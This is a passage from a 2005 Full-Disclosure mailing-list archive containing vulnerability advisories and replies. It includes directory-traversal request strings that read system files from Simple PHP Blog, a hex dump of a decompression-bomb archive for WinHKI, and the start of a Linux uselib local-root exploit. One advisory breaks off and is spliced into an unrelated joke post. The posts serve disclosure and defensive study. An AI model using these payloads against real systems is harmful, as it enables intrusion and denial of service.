04 Jan 2005 14:18:49 +0200 Subject: [Full-Disclosure] [SHORT ESSAY] Yahoo security "policy", booters, 12-hour account DoS and other stuff Message-ID: Quoting n3td3v, > Because we all know Yahoo! has no account security, so kids aged 15 > can hack an account. Yahoo! is like hacking for beginners. Its easy to > do, and therefore a great network to learn skills.. bravo Yahoo!, you > have a use after all. Hm, hm. Yahoo's rudimentary security 'features' such as account lockout policy (12 hours after several failed login attempts) is most often used as a DoS against that account owner. Plus numerous "booters" exploiting holes (read: buffer overflows) in ypager.exe, and you have a perfect way to kick someone out from chat and not let him/her/it return. They (at Yahoo) try to make it harder to write your own chat client/bot/messanger by slightly changing their CRAM (and still, it was reversed, nevermind that it nowadays consist of several MD5-like routines and is heavily obfuscated against casual reverse-engineers :P) Couldn't hold myself, this is FD after all :) -- Alex V. Lukyanenko | 86195208 at icq | y_avenger_y at ua.fm ---- http://cards.alkar.net/ From theinsider at 012.net.il Thu Jan 6 22:26:46 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Fri, 07 Jan 2005 00:26:46 +0200 Subject: [Full-Disclosure] WinAc AND WinHKI ZIP File Directory Transversal Message-ID: <002301c4f43e$cec6c7e0$f85ab350@noone> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinAce, WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: ZIP File Directory Transversal Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider at mail.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal ZIP compressed file header 00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../.. 00000010 F209 3C2F 0F00 C8EE 0F00 0700 0000 7370 .. wrote: > Please unsubscribe me from this list We have received your request to be unsubscribed from this list. This is what you need to do. Please read these instructions carefully before beginning. Tools needed: one hammer, one screwdriver, one pair of pliers, one heavy-duty pair of wire cutters, one bucket of saline water, a box of sani-wipes. Step #1: Stop payment on any checks that you may have sent to your Internet Service Provider (GOD). Step #2: If GOD is unresponsive and you are still receiving mail from this list, you will need to find the "mailhost". This is a machine usually located in a locked office. Every day around noon, the mailman will deliver a box of diskettes with that day's mail messages, including yours from this list, to this machine. Typically, only a handful of people have keys to the "mailhost". The reason why this machine is locked up is because this is typically the best, fastest, most powerful computer at your facility and the people with keys don't want to share it. If you must, break or pry the door down with one (1) hammer (you did get all the tools needed?). Step #3: Find the ON/OFF switch for this machine. Using the pliers, set the switch to the OFF position by tugging downwards until the disposable plastic switch breaks away from the computer casing. Discard the disposable plastic switch in an environmental-friendly manner. This will alert the mailman to not deliver the diskettes with the messages to the "mailhost" not unlike the little red flag found on mailboxes. This should resolve your mail problem immediately. Step #4: You may experience a recurrence of mail within 72 hours. If this should happen, you will need to disable the "mailhost" once again with more forceful measures. Repeat Step #2. Don't be suprised if there is a sturdier door in place than the one you destroyed previously. This is due to the fact that the "Have Key" clique found out that someone has seen their private stash of computer equipment. Step #5: After you have once again regained entry into the "mailhost" room, open up the back of the "mailhost". There may be a large tv-like device on top of the "mailhost" You will need to remove this first. Take your wire cutters, and cut any cables binding the tv-like device to the "mailhost". Set the tv-like device to the side. With your screwdriver, remove each and every screw that you can find on the "mailhost". Once this is done, the "mailhost" should break away into two or more pieces. Step #5: Find a large box with a fan attached to it. It will be clearly marked with the following labels: "Danger" "High Voltage" "Do not open - no user-servicable parts". Don't worry, these labels are merely in place to satisfy OSHA requirements and you are not in any danger at all. Take the bucket of saline water and pour it into any vents or ports that the large box may have. Any extra water should be poured directly into the computer chassis, be sure to properly soak each and every component. Step #6: In the event of fire (OSHA has been known to be right on occassion), douse any flames with the sani-wipes. This solution is provided without warranty. It is not bio-degradable or fat-free. In the event of sudden death, contact a physician __________________________________ Do you Yahoo!? Yahoo! Mail - now with 250MB free storage. Learn more. http://info.mail.yahoo.com/mail_250 From theinsider at 012.net.il Thu Jan 6 23:17:03 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Fri, 07 Jan 2005 01:17:03 +0200 Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB Message-ID: <001001c4f445$d4fe1a80$f85ab350@noone> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: ARC File Extraction of 1KB to 1.56GB Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider at mail.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinHKI is a file archiever which supports: ARC, BH, CAB, HKI, JAR, LHA,TAR, GZ compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal CAB compressed file header 00000000 1A02 3235 312E 4854 4D00 5E5E 5E5E 5E1B ..251.HTM.^^^^^. 00000010 0000 0078 3139 73B5 121B 0000 003C 7363 ...x19s......alert().... By adding after the filename header a certain amount of chars and replacing all nulls (00) with FF (in order to avoid our long string from being terminated) 00000000 1A02 3235 312E 4854 4DFF 5E5E 5E5E 5EFF ..251.HTM.^^^^^. 00000010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000050 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000060 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000070 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000080 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000090 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000000A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000000B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000000C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000000D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000000E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000000F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000100 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000110 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000120 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000130 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000140 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000150 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000160 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000170 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000180 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000190 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000001A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000001B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000001C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000001D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000001E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000001F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000200 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000210 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000220 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000230 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000240 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000250 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000260 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000270 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000280 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000290 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000002A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000002B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000002C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000002D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000002E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000002F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000300 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000310 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000320 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000330 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000340 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000350 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000360 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000370 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000380 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000390 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000003A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000003B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000003C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000003D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000003E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 000003F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 00000400 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FF1B ................ 00000410 FFFF FF78 3139 73B5 121B FFFF FF3C 7363 ...x19s......alert().... HKI will create a 1.56 GIGA BYTE file on at the selected extract location. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== An online proof of concept can be found at: http://theinsider.deep-ice.com/hki156gb.ARC ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me." From pwicks at oxygen.com Fri Jan 7 04:28:40 2005 From: pwicks at oxygen.com (James Patterson Wicks) Date: Thu, 6 Jan 2005 23:28:40 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions Message-ID: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com> We knew that Microsoft was going to put out an anti-spyware product after they bought Giant in December, but I did not figure they could re-brand Giant's software in under a month. Their first shot at anti-spyware came out today - Microsoft AntiSpyware (Beta). I installed it on a test machine that I have in the office. Just to be safe, I ran a full Spybot S&D scan and then uninstalled the resident TEA program since Microsoft AntiSpyware will install an agent if you so wish. The only part of the installation that was strange was the "recommended" option of joining the "Spynet AntiSpyware Community" their 'Spyware Neighborhood Watch' that connects you to other computers running the Microsoft AntiSpyware software. Don't know how many people will choose that option, but to me it does not make sense to connect to a peer-to-peer network of infected computers, encrypted traffic or not. I ran a full system scan and to my surprise, the software found some old Timbuktu and Dameware DLL's that I thought were uninstalled a year ago. Were the files harmful? The tool stated that the Dameware files were low risk, but the Timbuktu files were high risk. The tool also found "iLookup.GlobalWebSearch Browser Hijacker", "StartNow Hyperbar Toolbar" and a bunch of "MiniBug" instances. I was somewhat surprised since my machine was "clean" already. I then set up two lab desktops and applied the same clean image on both of them (no anti-virus or firewall installed). I then used IE to surf to the first ten sites Google brought up when searching for "online gambling" sites. I then ran full system scans using Microsoft AntiSpyware on one desktop and Spybot S&D on the other machine. Spybot found 65 objects, the Microsoft tool found 92 objects. The results were similar except that the Microsoft tool found a few more cookies, a bunch of minibugs and something called "SearchSquire." While this was just a quick test to satisfy my curiosity about the Microsoft tool, my initial feeling is that the Microsoft AntiSpyware is worth a test deployment in the office. This beta expires in July. Hopefully the final version will be free and allow for centralized domain management. It's the least that Microsoft can do. Pat Wicks Systems and Network Engineer This e-mail is the property of Oxygen Media, LLC. It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/4ee26610/attachment.html From b.griffin at cqu.edu.au Fri Jan 7 06:04:26 2005 From: b.griffin at cqu.edu.au (Brad Griffin) Date: Fri, 7 Jan 2005 16:04:26 +1000 Subject: [Full-Disclosure] hackers hacking hackers wtf? Message-ID: Perhaps the 'hacker hackers' should learn correct grammar and spelling before attempting to ridicule others... -----Original Message----- Subject: RE: [Full-Disclosure] hackers hacking hackers wtf? The website is down.... But you can still see the hacked page at Google cache... http://www.google.com/search?q=cache:CVM90YJzWcoJ:www.boobys.org/+&hl=en &lr= lang_en|lang_iw Pay attention to section [6]...:p -----Original Message----- From: jonny be good [mailto:blackhat_information at yahoo.com] Sent: Saturday, January 01, 2005 4:43 PM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] hackers hacking hackers wtf? They call it Project Hatem, their aim to take down as many Whitehat Security sites as they can. They do not believe in full disclosure, and do not believe the moral values of the Whitehats. All they believe in is power and destruction. Well guess what? They got hacked also :P Check it out: http://boobys.org __________________________________ Do you Yahoo!? Yahoo! Mail - Find what you need with new enhanced search. http://info.mail.yahoo.com/mail_250 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -- No virus found in this incoming message. Checked by AVG Anti-Virus. Version: 7.0.296 / Virus Database: 265.6.7 - Release Date: 12/30/2004 -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.296 / Virus Database: 265.6.7 - Release Date: 12/30/2004 ************************************************************************ ************************** The contents of this email and any attachments are confidential. They are intended for the named recipient(s) only. If you have received this email in error please notify the system manager or the sender immediately and do not disclose the contents to anyone or make copies. ** eSafe scanned this email for viruses, vandals and malicious content. ** ************************************************************************ ************************** _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From b.griffin at cqu.edu.au Fri Jan 7 06:17:57 2005 From: b.griffin at cqu.edu.au (Brad Griffin) Date: Fri, 7 Jan 2005 16:17:57 +1000 Subject: [Full-Disclosure] Trivial Bug in Symantec Security Products Message-ID: -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Gregh Sent: Tuesday, January 04, 2005 6:33 AM To: Disclosure Full Subject: Re: [Full-Disclosure] Trivial Bug in Symantec Security Products > > Somehow, Symantec engineers have not implemented a mechanism to disallow a > user from installing the patches via changing the date on their computer > back to when the original program was installed and then running the > "Intelligent Updater." **** You think THAT is bad? Up till NIS2005 which I haven't tested so cant say if it does or doesn't, you could install Nortons, run the year and then wipe your machine and reinstall all then install Nortons again and get yet another full year licence without paying a cent, over and over and over. In short, buy once and never pay again. Greg. **** Well, yep. How exactly would you expect to implement a block if the system sees the software as being installed for the first time? I guess you must be thinking along the lines of "shouldn't Symantec place a date check in the installer so that if the software is for example two years old, it will not install period?" However, in the case of OEM software, this could end up being an issue for those who buy old stock items, or are buying end of run OEM systems. Sil's comment relates to something that can be fixed easily with little or no issues for legitimate users. Cheers, Gryph From aditya.deshmukh at online.gateway.expertworks.net Fri Jan 7 07:05:21 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Fri, 7 Jan 2005 12:35:21 +0530 Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB In-Reply-To: <001001c4f445$d4fe1a80$f85ab350@noone> Message-ID: >Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB These attacks have been possible in almost all kinds of compresses file formats and have been known for years - I think it is know as zip bombing.... This is not limited to this perticular tool or format. From dilabox at gmail.com Fri Jan 7 08:25:50 2005 From: dilabox at gmail.com (dila) Date: Fri, 7 Jan 2005 08:25:50 +0000 Subject: [Full-Disclosure] Any study on patch availability? In-Reply-To: References: Message-ID: http://secunia.com/advisory_statistics/ ever heard of google? On Sun, 26 Dec 2004 12:26:17 -0500 (EST), sudhakar+fulldisclosure at cs.princeton.edu wrote: > > Hi all, > > Holiday season greetings. > > I am a PhD student at Princeton studying security. I am interested in > studying vulnerability statistics. I am interested in answering questions > like: > > 1. Which are the programs where bugs are found often? > > 2. Which vendors tend to be frequently affected? > > 3. What are the common vulnerabilities (buffer overflows I guess)? > > 4. How often are patches available before a vulnerability is publicly > disclosed? > > 5. How much time does it take for a typical vendor to patch the bug? > How > diligent are various vendors regarding releasing patches? > > 6. What are the OS specific statistics? > > 7. How diligent are users/administrators regarding patching? In some cases > there might be genuine reasons why you cannot patch (loss of availability > etc.). I am aware of "Security holes... Who cares?" by Eric Rescorla. > > 8. Have there been situations when a patch has not been available for a > long time, say more than a month. > > . > . > . > . > . > > I am primarily interested in seeing how fast the patches are out. I am > more interested in knowing about those situations when a patch is not > available fast. What did people do to avoid getting hit? I would > appreciate some concrete examples. So I am mostly interested in questions > 4, 5, and 8. > > Has someone already studied these patterns? Can the community refer me to > some useful links? I would appreciate concrete examples and a quantitative > analysis. I have talked to a few system administrators. But I am confused > whether patch availability is indeed a problem. Unfortunately, the answer > is specific to what software you are running and the answer tends to be > subjective. > > Thanks in advance, > Regards, > Sudhakar. > > Sudhakar Govindavajhala Department of Computer Science > Graduate Student, Princeton University > Ph : (lab) +1 609 258 1763 (office) +1 609 258 1798 > http://www.cs.princeton.edu/~sudhakar > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From irfan.syed at guoco.com Fri Jan 7 09:57:55 2005 From: irfan.syed at guoco.com (irfan.syed at guoco.com) Date: Fri, 7 Jan 2005 17:57:55 +0800 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions Message-ID: Yeah I tried it too, and the only thing it found on my PC was VNC server. I was, however, impressed that the tool explained very well what the program was for and how it could be used for spying. Definitely worth a try. PS: VNC on my machine is not accessible from outside, so don't even think to hack me ;) Cheers, Irfan -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of James Patterson Wicks Sent: Friday, January 07, 2005 12:29 PM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions We knew that Microsoft was going to put out an anti-spyware product after they bought Giant in December, but I did not figure they could re-brand Giant's software in under a month. Their first shot at anti-spyware came out today - Microsoft AntiSpyware (Beta). I installed it on a test machine that I have in the office. Just to be safe, I ran a full Spybot S&D scan and then uninstalled the resident TEA program since Microsoft AntiSpyware will install an agent if you so wish. The only part of the installation that was strange was the "recommended" option of joining the "Spynet AntiSpyware Community" their 'Spyware Neighborhood Watch' that connects you to other computers running the Microsoft AntiSpyware software. Don't know how many people will choose that option, but to me it does not make sense to connect to a peer-to-peer network of infected computers, encrypted traffic or not. I ran a full system scan and to my surprise, the software found some old Timbuktu and Dameware DLL's that I thought were uninstalled a year ago. Were the files harmful? The tool stated that the Dameware files were low risk, but the Timbuktu files were high risk. The tool also found "iLookup.GlobalWebSearch Browser Hijacker", "StartNow Hyperbar Toolbar" and a bunch of "MiniBug" instances. I was somewhat surprised since my machine was "clean" already. I then set up two lab desktops and applied the same clean image on both of them (no anti-virus or firewall installed). I then used IE to surf to the first ten sites Google brought up when searching for "online gambling" sites. I then ran full system scans using Microsoft AntiSpyware on one desktop and Spybot S&D on the other machine. Spybot found 65 objects, the Microsoft tool found 92 objects. The results were similar except that the Microsoft tool found a few more cookies, a bunch of minibugs and something called "SearchSquire." While this was just a quick test to satisfy my curiosity about the Microsoft tool, my initial feeling is that the Microsoft AntiSpyware is worth a test deployment in the office. This beta expires in July. Hopefully the final version will be free and allow for centralized domain management. It's the least that Microsoft can do. Pat Wicks Systems and Network Engineer This e-mail is the property of Oxygen Media, LLC. It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/b260a083/attachment.html From madelman at iname.com Fri Jan 7 11:43:27 2005 From: madelman at iname.com (Madelman) Date: Fri, 07 Jan 2005 12:43:27 +0100 Subject: [Full-Disclosure] Simple PHP Blog directory traversal vulnerability Message-ID: <41DE75DF.1030808@iname.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: Simple PHP Blog directory traversal vulnerability Vulnerability discovery: Madelman Date: 02/01/2005 Severity: Moderate Summary: - -------- I started this project because I wanted a dead-simple blog. Something that didn't require a database, used flat text files, and looked nice. The main advantage of using Simple PHP Blog is that it only requires PHP 4 (or greater) and write permission on the server. Unlike other blog software, there is almost no setup - just unzip and copy... (from vendor site: http://www.bigevilbrain.com/sphpblog/) SPHPBlog doesn't check the entry parameter which allows directory traversal This vulnerability has been tested with SPHPBlog 0.3.7c Details: - -------- We can read any file with TXT extension (in this example /etc/X11/rgb.txt) REQUEST: http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb returns the content of the file We can create arbitrary folders in the filesystem and the content of the post will be saved in this folder. To create folder http://[SERVER]/sphpblog/createdir/ REQUEST (this must be a POST request and we must modify entry parameter): http://[SERVER]/sphpblog/comment_add_cgi.php ~ entry=../../../createdir Solution - -------- Update to latest version (at this moment 0.3.7r2) Timeline - -------- 02/01/2005 - Vulnerability found 02/01/2005 - Vendor contacted 02/01/2005 - Vendor confirmed and implemented a patch for the first vuln 04/01/2005 - Vendor implemented a patch for the second vuln 07/01/2005 - Advisory released -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFB3nXf3RWooxY20cIRAo1gAJ4zAa8W9sthSPOtbs8tKMj/HgDWHwCdGbf/ /x7WTmTzJDdLNpSKSuyPEgc= =uNOC -----END PGP SIGNATURE----- From ihaquer at isec.pl Fri Jan 7 11:46:18 2005 From: ihaquer at isec.pl (Paul Starzetz) Date: Fri, 7 Jan 2005 12:46:18 +0100 (CET) Subject: [Full-Disclosure] Linux kernel sys_uselib local root vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all, first of all I must comply about the handling of this vulnerability that I reported to vendorsec. Obviously my code posted there has been stolen and plagiated by Stefan Esser from Ematters. The posting containing the plagiate will follow. Now I have been forced to release the full advisory however another disclosure timeline have been agreed on vendorsec. Sorry for the inconvenience. - --------------------------------------------------------------------------- Synopsis: Linux kernel uselib() privilege elevation Product: Linux kernel Version: 2.4 up to and including 2.4.29-rc2, 2.6 up to and including 2.6.10 Vendor: http://www.kernel.org/ URL: http://isec.pl/vulnerabilities/isec-0021-uselib.txt CVE: CAN-2004-1235 Author: Paul Starzetz Date: Jan 07, 2005 Issue: ====== Locally exploitable flaws have been found in the Linux binary format loaders' uselib() functions that allow local users to gain root privileges. Details: ======== The Linux kernel provides a binary format loader layer to load (execute) programs of different binary formats like ELF or a.out and more. The kernel also provides a function named sys_uselib() to load a corresponding library. This function is dispatched to the current process's binary format handler and is basicaly a simplified mmap() code coupled with some header parsing code. An analyse of the uselib function load_elf_library() from binfmt_elf.c revealed a flaw in the handling of the library's brk segment (VMA). That segment is created with the current->mm->mmap_sem semaphore NOT held while modyfying the memory layout of the calling process. This can be used to disturb the memory management and gain elevated privileges. Also the binfmt_aout binary format loader code is affected in the same way. Discussion: ============= The vulnerable code resides for example in fs/binfmt_elf.c in your kernel source code tree: static int load_elf_library(struct file *file) { [904] down_write(¤t->mm->mmap_sem); error = do_mmap(file, ELF_PAGESTART(elf_phdata->p_vaddr), (elf_phdata->p_filesz + ELF_PAGEOFFSET(elf_phdata->p_vaddr)), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE, (elf_phdata->p_offset - ELF_PAGEOFFSET(elf_phdata->p_vaddr))); up_write(¤t->mm->mmap_sem); if (error != ELF_PAGESTART(elf_phdata->p_vaddr)) goto out_free_ph; elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz; padzero(elf_bss); len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1); bss = elf_phdata->p_memsz + elf_phdata->p_vaddr; if (bss > len) do_brk(len, bss - len); The line numbers are all valid for the 2.4.28 kernel version. As can be seen the mmap_sem is released prior to calling do_brk() in order to create the data section of the ELF library. On the other hand, looking into the code of sys_brk() from mm/mmap.c reveals that do_brk() must be called with the semaphore held. A short look into the code of do_brk() shows that: [1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL); if (!vma) return -ENOMEM; vma->vm_mm = mm; vma->vm_start = addr; vma->vm_end = addr + len; vma->vm_flags = flags; vma->vm_page_prot = protection_map[flags & 0x0f]; vma->vm_ops = NULL; vma->vm_pgoff = 0; vma->vm_file = NULL; vma->vm_private_data = NULL; vma_link(mm, vma, prev, rb_link, rb_parent); where rb_link and rb_parent were both found by calling find_vma_prepare(). Obviously, if the kmem_cache_alloc() call sleeps, the newly created VMA descriptor may be inserted at wrong position because the process's VMA list and the VMA RB-tree may have been changed by another thread. This is absolutely enough to gain root privileges. We have found at least three different ways to exploit this vulnerability. The race condition can be easily won by consuming a big amount of memory. A proof of concept code exists but will not be released yet. Impact: ======= Unprivileged local users can gain elevated (root) privileges. Credits: ======== Paul Starzetz has identified the vulnerability and performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS. Disclaimer: =========== This document and all the information it contains are provided "as is", for educational purposes only, without warranty of any kind, whether express or implied. The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected. Appendix: ========= Code attached. - ------------------------------------------------------------------------ - -- Paul Starzetz iSEC Security Research http://isec.pl/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQFB3naPC+8U3Z5wpu4RAqi6AKCmSe50fEBcKB5TVygGEVuy3Gz1LwCeNPr5 +lKciODPNWQvg829jcx3Lvk= =CRPn -----END PGP SIGNATURE----- -------------- next part -------------- /* * binfmt_elf uselib VMA insert race vulnerability * v1.08 * * gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define str(s) #s #define xstr(s) str(s) #define MREMAP_MAYMOVE 1 // temp lib location #define LIBNAME "/dev/shm/_elf_lib" // shell name #define SHELL "/bin/bash" // time delta to detect race #define RACEDELTA 5000 // if you have more deadbabes in memory, change this #define MAGIC 0xdeadbabe // do not touch #define SLAB_THRSH 128 #define SLAB_PER_CHLD (INT_MAX - 1) #define LIB_SIZE ( PAGE_SIZE * 4 ) #define STACK_SIZE ( 